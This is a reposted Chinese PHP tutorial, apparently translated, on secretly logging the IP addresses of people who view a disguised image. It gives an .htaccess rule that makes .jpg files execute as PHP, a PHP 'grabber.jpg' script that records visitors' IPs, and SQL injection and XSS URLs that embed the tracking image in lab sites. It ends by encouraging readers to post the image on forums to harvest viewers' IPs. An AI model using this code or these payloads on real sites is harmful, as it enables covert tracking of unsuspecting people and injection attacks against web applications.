《PHP實戰:基于PHP實現通過照片獲取ip地址》要點:
本文介紹了PHP實戰:基于PHP實現通過照片獲取ip地址,希望對您有用。如果有疑問,可以聯系我們。
PHP編程在本教程中,我們將學習如何用一張照片來盜取ip地址.我的想法是通過修改.htaccess文件,將jpg文件當作php文件來解析.
PHP編程下面就是我們需要向.htaccess中添加的代碼:
PHP編程AddHandler application/x-httpd-php5 .jpg
PHP編程然后將下面的代碼復制到記事本中,命名為grabber.jpg
PHP編程
<?php
$fh = fopen(‘ip_list.txt', ‘a');
fwrite($fh, $_SERVER[‘REMOTE_ADDR'].”
“);
fclose($fh);
$im = imagecreatefromjpeg(“n00b.png”);
header(‘Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>
PHP編程將grabber.jpg的權限設置為755,然后再找一張照片,將其命名為n00b.png,接著放到與grabber.jpg相同的目錄之中.
PHP編程就這樣,一切工作就緒了.當別人瀏覽grabber.jpg這張照片的時候,他的ip地址就會被記錄下來.
PHP編程(譯者注:需要把這些東西上傳至我們的個人網站空間中)
PHP編程POC:
PHP編程(譯者注:作者這里貼了一張可獲取ip的演示照片,為了大家的隱私,我沒有將其貼出,讀者可自行去作者博客查看)
PHP編程至此,我們的照片已經可以開始工作了.
PHP編程接著我還想說明一下如何使用SQLi來獲取ip地址.其實使用照片來盜取ip地址十分快捷,我們沒有理由去使用SQLi這種辦法,但是為了讓讀者獲取到更多的知識,我還是說明一下吧:
PHP編程http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1′ union select 1,0x3c696d67207372633d22687474703a2f2f6c65657474696d652e6e65742f6964696f74735f746573745f6c61622f696d61676569702f7472796d652e6a7067223e,3#
PHP編程現在,再說一下如何使用xss來獲取ip地址:
PHP編程http://leettime.net/xsslab1/chalg1.php?name=<img src=”http://leettime.net/idiots_test_lab/imageip/tryme.jpg”>&submit=Search
PHP編程好了,就是這些了.
PHP編程我們可以用這個技巧做許多有趣的事情,事實上大部分社區都允許我們發布一些照片,所以我們可以用這個方法去獲取所有拜訪到我們照片的人的ip地址.
PHP編程以上所述是小編給大家介紹的基于PHP實現通過照片獲取ip地址的相關內容,希望對大家有所贊助!
歡迎參與《PHP實戰:基于PHP實現通過照片獲取ip地址》討論,分享您的想法,維易PHP學院為您提供專業教程。
轉載請注明本頁網址:
http://www.snjht.com/jiaocheng/6840.html